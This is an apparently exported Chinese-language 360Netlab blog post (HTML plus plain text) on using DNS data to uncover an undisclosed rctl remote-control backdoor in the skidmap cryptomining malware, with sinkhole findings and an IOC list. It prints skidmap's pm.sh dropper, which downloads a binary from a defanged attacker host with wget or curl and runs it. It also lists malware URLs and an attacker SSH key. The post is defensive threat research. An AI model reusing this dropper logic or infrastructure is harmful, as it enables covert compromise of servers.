"]]],[10,16],[1,"p",[]]],"ghostVersion":"3.0"} | 5fbccaf0699d440007bba64c |
post | null | 2020-11-24T23:19:00.000Z | 63873b9a8b1c1e0007f52f8e | use-dns-data-produce-threat-intelligence | 0 | 2021-01-15T11:13:44.000Z | public | published | null | 2020-11-25T04:53:23.000Z | DNSMon: 用DNS数据进行威胁发现 | <p><em><strong>----发现skidmap的未知后门</strong></em></p><!--kg-card-begin: markdown--><h3 id="">更新记录</h3>
<ul>
<li>
<p>[2020-12-07]<br>
在本文发布之后不久，我们注意到该后门的访问模式有了一定的调整。并在最近DNSMon发现攻击者已经启用了新的域名IOC。具体来说有如下变化：</p>
<ol>
<li>将rctl子域名变更为 r1</li>
<li>新启用了<em>mylittlewhitebirds[.]com</em>，<em>howoldareyou9999[.]com</em>（比原先的<em>howoldareyou999[.]com</em>多了一个字符'9'），<em>franceeiffeltowerss[.]com</em>(比原先的<em>franceeiffeltowers[.]com</em>多了一个字符's')三个域名作为后面的备用域名。</li>
</ol>
<p>具体如下：</p>
<pre><code>r1.googleblockchaintechnology[.]com
r1.howoldareyou9999[.]com
r1-443.howoldareyou9999[.]com
r1-443.franceeiffeltowerss[.]com
r1.franceeiffeltowerss[.]com
r1.mylittlewhitebirds[.]com
r1-443.mylittlewhitebirds[.]com
r1-443.googleblockchaintechnology[.]com
</code></pre>
</li>
</ul>
<!--kg-card-end: markdown--><h2 id="-dns-">用DNS数据做安全</h2><p>DNS协议作为互联网的基础和核心协议，其承载的数据在一定程度上能够反映使用域名提供服务的业务发展情况。使用了DNS服务的恶意行为也不例外，对DNS数据进行安全分析，可以涵盖绝大多数恶意行为。</p><p>早期利用DNS数据进行安全检测典型的场景包括针对DGA和fastflux的检测。尽管检测这两类恶意行为的具体方法多种多样（比如检测DGA域名从少量的统计维度，到多特征的机器学习再到基于时序的深度学习检测等等），但是其核心仍然是以纯DNS数据为基础即可完成检测。能这么做的最主要的原因是这两类恶意行为的关键特征在DNS数据上体现的已经非常明显，几乎不需要或者仅需要少量外部数据的辅助即可以完成快速，准确的检测。</p><p>但现实中不同的恶意软件由于其目的和所运行环境（比如Windows，Linux，macOS等操作系统对协议栈的实现）差异很大，其在DNS数据中留下的痕迹也各不相同，此时<strong>仅依靠DNS数据</strong>就难以或者说是几乎不可能高效的完成从数据清洗，聚合，检测，校验和防御的闭环。面对海量DNS数据（其他的基础数据也类似）利用大数据分析方法产出的多如牛毛的（异常）线索但无法对其进行精确定性的威胁情报（IOC）的尴尬局面。</p><p>在数据，算力和机器智能算法快速发展的今天，我们相信DNS安全未来的一个方向是海量DNS基础数据结合其他多种维度数据进行关联整合，从而进入更深入精细的分析。</p><blockquote><em>其实利用DNS数据发现和阻断安全风险的趋势正变得越来越主流。这些年我们看到越来越多的企业甚至国家(没错，国家)把目光转向了DNS这个领域。比如美国的E3A计划，英国正在实施的5年网络安全战略规划[3]，澳大利亚正在实施的国家网络安全战略规划中的ISP系统部分[4]，加拿大CIRA的加拿大盾项目[5]，在其防御手段中，核心是一样的，即利用DNS的数据，在国家层面进行大规模的威胁发现和全局阻断。有兴趣的可以查阅文末的参考资料以及其他相关资料。</em></blockquote><h2 id="dnsmon-">DNSMon系统</h2><p>2014年，我们在国内建立第一个<a href="https://passivedns.cn">PassiveDNS</a>系统开始，360netlab团队在DNS领域专心经营了6年。DNSMon是360Netlab利用丰富的DNS安全分析经验，对每日千亿级别的DNS流量进行系统的分析，产出威胁情报(域名IOC)，并向最终用户提供安全防御的平台。</p><ul><li>其核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。</li><li><strong>无任何先验知识的情况下，大规模的主动阻断高风险，高危安全相关域名。</strong></li><li>每天可以产生上千条恶意和高可疑域名黑名单，服务于国内约2000万用户，并已稳定运行近3年。</li></ul><h2 id="-">不同维度数据交叉会产生更好的效果</h2><p>一般认为，如果以威胁情报（域名IOC）的生产为目标的话，安全分析团队和安全产品通常会寻求能够产出更为精准威胁情报（域名IOC）的方法，比如沙箱，蜜罐等等，毕竟它们是有切实的真相（groudtruth）——即样本——在手的。通过对样本进行逆向几乎可以解释一切行为。<br>不过逆向工程也面临着挑战：</p><ul><li>首先是无法大规模的扩展和快速的响应。解决这两个问题的办法也许就是跑沙箱。但是沙箱也有自身的问题，比如运行环境的适配问题，恶意软件的对抗问题等等。</li><li>其次是能够拿到并分析样本本身是有较高资源要求的。网络规模越大，组网环境越复杂，部署、运营、阻断等资源要求会显著加大。</li></ul><p>而DNSMon在大规模的扩展和快速响应方面有着天然的优势，并且接入数据量和后端检测平台的复杂度并非线性关系。因此两种手段的结合是必然趋势。</p><p>在运营DNSMon的过程中，现在几乎已经是标准情况，我们拦截的域名往往在几周甚至几个月之后才会进入国内外安全厂家的威胁情报（域名IOC）列表中。为了<strong>让用户更透明的看到</strong>我们从原始DNS流量到威胁情报（域名IOC）的流程，同时也介绍DNSMon在生产威胁情报（域名IOC）方面的经验，后续我们会陆续推出一系列的文章，并挑选其中一些典型的案例来说明如何从DNS入手并结合多维度的数据生产域名IOC。</p><p>本文我们来看第一个例子——skidmap恶意挖矿程序。</p><h2 id="dnsmon--1">DNSMon对未知域名的拦截</h2><p>DNSMon<strong>从2019年5月份开始，在无任何先验知识的情况下，内置算法直接对<em>ipfswallet.tk</em>的rctl-443/rctl/pm等三个子域名以及<em>rctl-443.onlinetalk[.]tk</em> 报黑并进行了拦截</strong>，随后在2019年11月又对 <em>onlinetalk[.]tk</em> 的rctl/info子域名进行了拦截。在2020年的9月份以及10月份的时候，类似的又分别对 <em>googleblockchaintechnology[.]com</em>，<em>howoldareyou999[.]com</em>，<em>franceeiffeltowers[.]com</em> 的rctl-443/rctl子域名进行了拦截。拦截信息见下图：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/block_domain_info-1.png" class="kg-image" alt="block_domain_info-1" loading="lazy"></figure><p>显然这些域名在域名结构以及子域名的选择上有较强的相似性，子域名的使用是和业务相关，使用相同的子域名很大程度是相同的业务。<br>进一步分析其DNS请求的行为模式，我们发现其DNS请求有非常高的一致性。因为这种模式的域名不断出现，且其行为时间跨度已经接近1年半。经验告诉我们，这种行为模式的背后显然是特定的程序在调控，并且在不停的更新。</p><p>下图展示了从今年8月份以来相关域名的访问曲线。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/access_curve-1.png" class="kg-image" alt="access_curve-1" loading="lazy"></figure><h2 id="--1">如何定性</h2><h4 id="--2">图关联</h4><p>一般来说，如果域名结构类似，并且使用了相同的基础设施，那么很有可能这些域名在程序实现上扮演的功能是类似的。为此，我们使用图系统（360netlab开发的对多维度数据进行图关联分析的系统）对这些自动拦截的域名的基础设施和关联情况进行了分析。从下图中可以直观的看出：</p><ul><li>所有查询域名（第二列的五角星节点）能够通过IP，URL和样本完成互相之间的关联，说明它们在基础设施上确实是一家。</li><li>同时还扩展出一些新的节点，其中的域名节点有明显的挖矿域名特征，而样本节点则关联出shell脚本和ELF样本，同样符合挖矿恶意程序的基本构成。</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/graph_relations_layers-3.png" class="kg-image" alt="graph_relations_layers-3" loading="lazy"></figure><h4 id="--3">域名关联</h4><p>根据2019年9月份<a href="https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html">趋势科技的报告</a>[1]可以判断，扩展出来的这两组域名均为skidmap恶意挖矿程序。由此基本可以确定rctl系列域名和skidmap挖矿程序有着密切的关联，并且<strong>DNSMon针对skidmap恶意挖矿程序相关域名（包括作为恶意程序的主下载域名<em>pm[.]ipfswallet.tk</em>）的拦截在时间上比趋势科技的安全分析报告早了大概4个月（2019.5 VS 2019.9）</strong>。</p><h4 id="url-">URL关联</h4><p>经过图关联和域名关联的分析，我们可以确定新出现的域名和skidmap恶意挖矿程序有着极为密切的关系。但是由于之前的分析报告尚未对rctl系列域名做过任何相关的分析。<br>因此为了进一步确定这些新域名的功能，我们使用新的域名拼接旧的URL检查新域名是否在承接相应旧域名的功能。果然，相应的恶意软件是可以成功下载的。</p><pre><code>hxxp://rctl.googleblockchaintechnology[.]com/pc
hxxp://rctl.googleblockchaintechnology[.]com/pm.sh
hxxp://rctl.googleblockchaintechnology[.]com/miner2
hxxp://rctl.googleblockchaintechnology[.]com/miner
hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz
hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz
</code></pre><p>并且下载回来的样本和之前分析文章中通过主下载域名(<em>pm[.]ipfswallet.tk</em>)分析的大体相同。举例pm.sh的内容如下：</p><pre><code>PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /var/lib
if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`
if [ $sum -eq 1 ]; then
chmod +x /var/lib/pc
/var/lib/pc
exit 0
fi
fi
/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url" -o -x "/bin/url" ]; then
url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
rpm -e --nodeps wget
yum -y install wget
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi
</code></pre><h2 id="--4">定量来看</h2><h4 id="sinkhole-">sinkhole的数据</h4><p>注意到2020年10月底新出现的2个rctl系列域名（<em>howoldareyou999[.]com</em>，<em>franceeiffeltowers[.]com</em>）并没有注册，但实际网络中已经有了大量的针对它们的DNS请求流量。由于之前的分析报告中，<strong>完全没有rctl系列域名的任何信息分析</strong>，为了弄清楚这些域名在实际网络中的切实请求，我们注册了其中的<em>franceeiffeltowers[.]com</em>，并对其做了sinkhole。</p><blockquote><em><a href="https://en.wikipedia.org/wiki/DNS_sinkhole">Sinkhole技术</a>是指安全分析人员为了分析或者阻断恶意程序的传播，对恶意程序使用的域名进行注册或者重定向，将其流量导入到安全分析人员控制的机器上，是安全分析人员对抗恶意软件的一种有效手段。该技术同时也是<strong>低成本，大规模</strong>的关停僵尸网络业务的首选（2014年微软和FBI<a href="https://blogs.microsoft.com/blog/2014/06/02/microsoft-helps-fbi-in-gameover-zeus-botnet-cleanup/">关停GOZ僵尸网络</a>使用的关键技术之一就是对GOZ的域名做了sinkhole）。<br>简单来说，当一个僵尸网络中的肉鸡向服务器发送数据时，就可以使用sinkhole技术将这些数据流量进行有目的的转发，以此来对僵尸网络进行监控、查找受到影响的域IP地址，最终瓦解僵尸网络的攻击，让那些肉鸡无法接受命令。<br>最为大众熟知的sinkhole当属2017年5月，wannacry爆发时安全研究人员针对其开关域名进行注册，做sinkhole处理，成功的阻断了wannacry勒索软件大规模传播，减少了其所造成的损失。<br>DNSMon在产生IOC的过程中，360netlab维护的基础sinkhole数据库一直在发挥着重要的作用。</em></blockquote><p>经过观察，发现实际到<em>franceeiffeltowers[.]com</em>的流量和到主下载域名<em>pm[.]ipfswallet.tk</em>的流量有很大的差别，主要体现在：</p><ol><li>通过443端口进行通信</li><li>需要完成TLS协议的交互，但是没有对访问域名的证书进行校验（我们提供的证书和sinkhole域名的证书并不匹配）</li><li>TLS握手之后，收到首包的payload长度为39，内容类似如下（不同客户端来源的数据包的字节的内容会有变化）：</li></ol><pre><code>00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 16 3E 12 AE AD ...>...
</code></pre><p>或者类似如下：</p><pre><code>00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 52 54 00 B8 EB E1 .RT....
</code></pre><p>这些内容显然和我们期望看到的可读性很好的http url以及相应的http协议的其他内容不同，反而看起来像是某种远控程序的上线包。</p><h5 id="--5">客户端主要集中在阿里云与腾讯云</h5><p>通过sinkhole域名，在2020-11-13，我们拿到了689个IP地址，其中64%的请求来源IP集中在阿里云和腾讯云上。具体分布如下图：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/client_ip_distr.png" class="kg-image" alt="client_ip_distr" loading="lazy"></figure><p>因为rctl系列域名（无论是否注册）在请求模式上互相之间非常接近，并且通过DNSMon系统能够看到他们的伴生关系非常紧密。我们有充足的理由相信已注册的域名（<em>googleblockchain[.]com</em>）的客户端来源与sinkhole的域名相同。</p><h5 id="sinkhole--1">sinkhole的请求数量</h5><p>请求数量方面，在2020.11.13 23:00 ~2020.11.14 23:00 时间段内，sinkhole服务器共收到了93.6万次上线请求（长度为39的二进制数据包）。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/sinkhole_req_count.png" class="kg-image" alt="sinkhole_req_count" loading="lazy"></figure><h4 id="--6">寻找失落的源，找到了答案</h4><p>尽管从前面的多种关联来看，几乎可以肯定rctl系列域名必然是和skidmap恶意挖矿程序相关的。但是sinkhole的数据显示rctl系列域名和已经披露的skidmap相关的IOC域名角色并不相同。</p><p>为了弄清楚这种流量的真实来源，我们在受限环境中，重新“感染”了一次skidmap。不出所料的发现了针对rctl系列域名的请求，通过分析发现是一个名叫 <code>/usr/bin/irqbalanced (ad303c1e121577bbe67b4615a0ef58dc5e27198b)</code> 的程序在不断的尝试的对外连接rctl* 类域名，并且注意到<strong>rctl相关的字符串也在skidmap的rootkit隐藏的目录列表中</strong>。</p><p>通过对该程序的分析发现它来自一个开源的远程控制软件<a href="https://github.com/ycsunjane/rctl">rctl</a>（注：该软件的作者和skidmap的背后黑客不能因为该开源软件的关系而被认为是同一个人），并对其客户端程序进行了修改以适应skidmap的需求。不过，通信的核心协议并未发生变化，sinkhole最初收到的长度为39字节的数据就是受害者尝试连接主控的首包。<br>至此，真相大白：<strong>rctl系列域名是skidmap恶意挖矿程序的又一个后门</strong>。只因为最初的分析报告中没有提及此域名，导致现在<strong>几乎所有的威胁情报平台对rctl系列域名以及后门程序irqbalanced样本本身都没有加入IOC列表</strong>。</p><p>因为通信协议没有明显的变化，我们对rctl服务端软件稍作修改进行适配，在sinkhole服务器上运行其服务端之后，不出所料的收到众多的受害者的信息。</p><p>从软件运行的截图来看，该控制端可以对受害者进行批量的远程命令执行和单点的shell的登录，其功能说明和运行截图如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/rctl_server_v2-3.png" class="kg-image" alt="rctl_server_v2-3" loading="lazy"></figure><p>该远控软件的连接效率很高，服务端启动不久，连接的客户端已经接近900台。考虑到客户端连接时请求主控域名的顺序问题，真实的受害用户可能比这个数量要高不少。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/rctl_server_v3-1.jpg" class="kg-image" alt="rctl_server_v3-1" loading="lazy"></figure><h4 id="-ioc">确认丢失了IOC</h4><p>考虑到skidmap恶意挖矿程序自身的进化，有一种可能当时分析报告的版本并没有该后门，是后来添加进去的。<br>为了确认此种情况，我们通过virustotal查询了当时分析文章所提供IOC中的kaudited（<a href="https://www.virustotal.com/gui/file/e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee/behavior">e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee</a> ）（正是该程序释放了irqbalanced以及其他的恶意程序），确认此后门在当时版本就存在。</p><p><strong>从趋势科技对skidmap进行详尽的分析算起，已经过去了1年多，多家IOC生产机构，却都漏掉了rctl这种重要的IOC，对此我们并不意外</strong>。<br>安全防御没有银弹，利用包括像DNSMon这种平台等多种分析手段，多数据源的交叉才能够尽量好的解决这种问题。</p><!--kg-card-begin: markdown--><h2 id="">感染过程</h2>
<p>关于skidmap利用什么漏洞进入系统，下载了哪些恶意程序(rootkit)，每个恶意程序的功能以及他们之间的关系，不在本文赘述。后续我们考虑用一篇专门的文章来进行具体的介绍。</p>
<!--kg-card-end: markdown--><p>至此，本文基本结束，做一个简要的概括。</p><h2 id="--7">结论</h2><ol><li>DNSMon系统能够很好的发现各种已知和未知的威胁，通过多维度数据交叉校验之后，对其判黑和高可疑数据进行拦截。</li><li>DNSMon系统产生的黑和高可疑IOC，对安全要求比较高的用户来说是非常有价值，是对现有依据传统安全分析方法产生的威胁情报(IOC)很好的互补。</li><li>skidmap恶意挖矿程序存在着一个之前一直存在但从未批露的漏洞，新的IOC需要补充进来。</li><li>skidmap恶意挖矿程序的受害用户在国内目前大多数来自与云平台，主要集中在阿里云和腾讯云。</li></ol><h2 id="--8">参考资料</h2><ol><li><a href="https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html">https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html</a></li><li><a href="https://github.com/ycsunjane/rctl">https://github.com/ycsunjane/rctl</a></li><li><a href="https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf">https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf</a></li><li><a href="https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf">https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf</a></li><li><a href="https://www.cira.ca/cybersecurity-services/canadian-shield">https://www.cira.ca/cybersecurity-services/canadian-shield</a></li></ol><h2 id="ioc">IOC</h2><p><em>注：本IOC列表仅包含DNSMon系统发现的且之前分析报告没有提及的域名IOC以及本次分析流程中识别出的其他类型的IOC。</em></p><pre><code>域名：
rctl-443.franceeiffeltowers[.]com
rctl-443.googleblockchaintechnology[.]com
rctl-443.howoldareyou999[.]com
rctl-443.ipfswallet[.]tk
rctl-443.onlinetalk[.]tk
rctl.franceeiffeltowers[.]com
rctl.googleblockchaintechnology[.]com
rctl.howoldareyou999[.]com
rctl.ipfswallet[.]tk
rctl.onlinetalk[.]tk
样本：
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
9c129d93f6825b90fa62d37b01ae3b3c pamdicks
5840dc51673196c93352b61d502cb779 ip6network
871a598f0ee903b4f57dbc5020aae293 systemd-network
证书：
4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk
3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk
5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk
e886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com
目录文件：
/etc/rctlconf/rctlcli.cfg
/etc/rctlconf/certs/rctl_cert.pem
/etc/rctlconf/certs/rctl_priv.pem
/etc/rctlconf/certs/rctl_ca.crt
ssh登录公钥：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever
</code></pre> | ----发现skidmap的未知后门
更新记录
*
[2020-12-07]
在本文发布之后不久，我们注意到该后门的访问模式有了一定的调整。并在最近DNSMon发现攻击者已经启用了新的域名IOC。具体来说有如下变化：
1. 将rctl子域名变更为 r1
2. 新启用了mylittlewhitebirds[.]com，howoldareyou9999[.]com（比原先的howoldareyou999[.]com多了一个字符'9'），franceeiffeltowerss[.]com(比原先的franceeiffeltowers[.]com多了一个字符's')三个域名作为后面的备用域名。
具体如下：
r1.googleblockchaintechnology[.]com
r1.howoldareyou9999[.]com
r1-443.howoldareyou9999[.]com
r1-443.franceeiffeltowerss[.]com
r1.franceeiffeltowerss[.]com
r1.mylittlewhitebirds[.]com
r1-443.mylittlewhitebirds[.]com
r1-443.googleblockchaintechnology[.]com
用DNS数据做安全
DNS协议作为互联网的基础和核心协议，其承载的数据在一定程度上能够反映使用域名提供服务的业务发展情况。使用了DNS服务的恶意行为也不例外，对DNS数据进行安全分析，可以涵盖绝大多数恶意行为。
早期利用DNS数据进行安全检测典型的场景包括针对DGA和fastflux的检测。尽管检测这两类恶意行为的具体方法多种多样（比如检测DGA域名从少量的统计维度，到多特征的机器学习再到基于时序的深度学习检测等等），但是其核心仍然是以纯DNS数据为基础即可完成检测。能这么做的最主要的原因是这两类恶意行为的关键特征在DNS数据上体现的已经非常明显，几乎不需要或者仅需要少量外部数据的辅助即可以完成快速，准确的检测。
但现实中不同的恶意软件由于其目的和所运行环境（比如Windows，Linux，macOS等操作系统对协议栈的实现）差异很大，其在DNS数据中留下的痕迹也各不相同，此时仅依靠DNS数据就难以或者说是几乎不可能高效的完成从数据清洗，聚合，检测，校验和防御的闭环。面对海量DNS数据（其他的基础数据也类似）利用大数据分析方法产出的多如牛毛的（异常）线索但无法对其进行精确定性的威胁情报（IOC）的尴尬局面。
在数据，算力和机器智能算法快速发展的今天，我们相信DNS安全未来的一个方向是海量DNS基础数据结合其他多种维度数据进行关联整合，从而进入更深入精细的分析。
其实利用DNS数据发现和阻断安全风险的趋势正变得越来越主流。这些年我们看到越来越多的企业甚至国家(没错，国家)把目光转向了DNS这个领域。比如美国的E3A计划，英国正在实施的5年网络安全战略规划[3]，澳大利亚正在实施的国家网络安全战略规划中的ISP系统部分[4]，加拿大CIRA的加拿大盾项目[5]，在其防御手段中，核心是一样的，即利用DNS的数据，在国家层面进行大规模的威胁发现和全局阻断。有兴趣的可以查阅文末的参考资料以及其他相关资料。
DNSMon系统
2014年，我们在国内建立第一个PassiveDNS系统开始，360netlab团队在DNS领域专心经营了6年。DNSMon是360Netlab利用丰富的DNS安全分析经验，对每日千亿级别的DNS流量进行系统的分析，产出威胁情报(域名IOC)，并向最终用户提供安全防御的平台。
* 其核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。
* 无任何先验知识的情况下，大规模的主动阻断高风险，高危安全相关域名。
* 每天可以产生上千条恶意和高可疑域名黑名单，服务于国内约2000万用户，并已稳定运行近3年。
不同维度数据交叉会产生更好的效果
一般认为，如果以威胁情报（域名IOC）的生产为目标的话，安全分析团队和安全产品通常会寻求能够产出更为精准威胁情报（域名IOC）的方法，比如沙箱，蜜罐等等，毕竟它们是有切实的真相（groudtruth）——即样本——在手的。通过对样本进行逆向几乎可以解释一切行为。
不过逆向工程也面临着挑战：
* 首先是无法大规模的扩展和快速的响应。解决这两个问题的办法也许就是跑沙箱。但是沙箱也有自身的问题，比如运行环境的适配问题，恶意软件的对抗问题等等。
* 其次是能够拿到并分析样本本身是有较高资源要求的。网络规模越大，组网环境越复杂，部署、运营、阻断等资源要求会显著加大。
而DNSMon在大规模的扩展和快速响应方面有着天然的优势，并且接入数据量和后端检测平台的复杂度并非线性关系。因此两种手段的结合是必然趋势。
在运营DNSMon的过程中，现在几乎已经是标准情况，我们拦截的域名往往在几周甚至几个月之后才会进入国内外安全厂家的威胁情报（域名IOC）列表中。为了让用户更透明的看到我们从原始DNS流量到威胁情报（域名IOC）的流程，同时也介绍DNSMon在生产威胁情报（域名IOC）方面的经验，后续我们会陆续推出一系列的文章，并挑选其中一些典型的案例来说明如何从DNS入手并结合多维度的数据生产域名IOC。
本文我们来看第一个例子——skidmap恶意挖矿程序。
DNSMon对未知域名的拦截
DNSMon从2019年5月份开始，在无任何先验知识的情况下，内置算法直接对ipfswallet.tk的rctl-443/rctl/pm等三个子域名以及rctl-443.onlinetalk[.]tk 报黑并进行了拦截，随后在2019年11月又对 onlinetalk[.]tk 的rctl/info子域名进行了拦截。在2020年的9月份以及10月份的时候，类似的又分别对 googleblockchaintechnology[.]com，howoldareyou999[.]com，franceeiffeltowers[.]com 的rctl-443/rctl子域名进行了拦截。拦截信息见下图：
显然这些域名在域名结构以及子域名的选择上有较强的相似性，子域名的使用是和业务相关，使用相同的子域名很大程度是相同的业务。
进一步分析其DNS请求的行为模式，我们发现其DNS请求有非常高的一致性。因为这种模式的域名不断出现，且其行为时间跨度已经接近1年半。经验告诉我们，这种行为模式的背后显然是特定的程序在调控，并且在不停的更新。
下图展示了从今年8月份以来相关域名的访问曲线。
如何定性
图关联
一般来说，如果域名结构类似，并且使用了相同的基础设施，那么很有可能这些域名在程序实现上扮演的功能是类似的。为此，我们使用图系统（360netlab开发的对多维度数据进行图关联分析的系统）对这些自动拦截的域名的基础设施和关联情况进行了分析。从下图中可以直观的看出：
* 所有查询域名（第二列的五角星节点）能够通过IP，URL和样本完成互相之间的关联，说明它们在基础设施上确实是一家。
* 同时还扩展出一些新的节点，其中的域名节点有明显的挖矿域名特征，而样本节点则关联出shell脚本和ELF样本，同样符合挖矿恶意程序的基本构成。
域名关联
根据2019年9月份趋势科技的报告[1]可以判断，扩展出来的这两组域名均为skidmap恶意挖矿程序。由此基本可以确定rctl系列域名和skidmap挖矿程序有着密切的关联，并且DNSMon针对skidmap恶意挖矿程序相关域名（包括作为恶意程序的主下载域名pm[.]ipfswallet.tk）的拦截在时间上比趋势科技的安全分析报告早了大概4个月（2019.5 VS 2019.9）。
URL关联
经过图关联和域名关联的分析，我们可以确定新出现的域名和skidmap恶意挖矿程序有着极为密切的关系。但是由于之前的分析报告尚未对rctl系列域名做过任何相关的分析。
因此为了进一步确定这些新域名的功能，我们使用新的域名拼接旧的URL检查新域名是否在承接相应旧域名的功能。果然，相应的恶意软件是可以成功下载的。
hxxp://rctl.googleblockchaintechnology[.]com/pc
hxxp://rctl.googleblockchaintechnology[.]com/pm.sh
hxxp://rctl.googleblockchaintechnology[.]com/miner2
hxxp://rctl.googleblockchaintechnology[.]com/miner
hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz
hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz
并且下载回来的样本和之前分析文章中通过主下载域名(pm[.]ipfswallet.tk)分析的大体相同。举例pm.sh的内容如下：
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /var/lib
if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`
if [ $sum -eq 1 ]; then
chmod +x /var/lib/pc
/var/lib/pc
exit 0
fi
fi
/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url" -o -x "/bin/url" ]; then
url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
rpm -e --nodeps wget
yum -y install wget
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi
定量来看
sinkhole的数据
注意到2020年10月底新出现的2个rctl系列域名（howoldareyou999[.]com，franceeiffeltowers[.]com）并没有注册，但实际网络中已经有了大量的针对它们的DNS请求流量。由于之前的分析报告中，完全没有rctl系列域名的任何信息分析，为了弄清楚这些域名在实际网络中的切实请求，我们注册了其中的franceeiffeltowers[.]com，并对其做了sinkhole。
Sinkhole技术是指安全分析人员为了分析或者阻断恶意程序的传播，对恶意程序使用的域名进行注册或者重定向，将其流量导入到安全分析人员控制的机器上，是安全分析人员对抗恶意软件的一种有效手段。该技术同时也是低成本，大规模的关停僵尸网络业务的首选（2014年微软和FBI关停GOZ僵尸网络使用的关键技术之一就是对GOZ的域名做了sinkhole）。
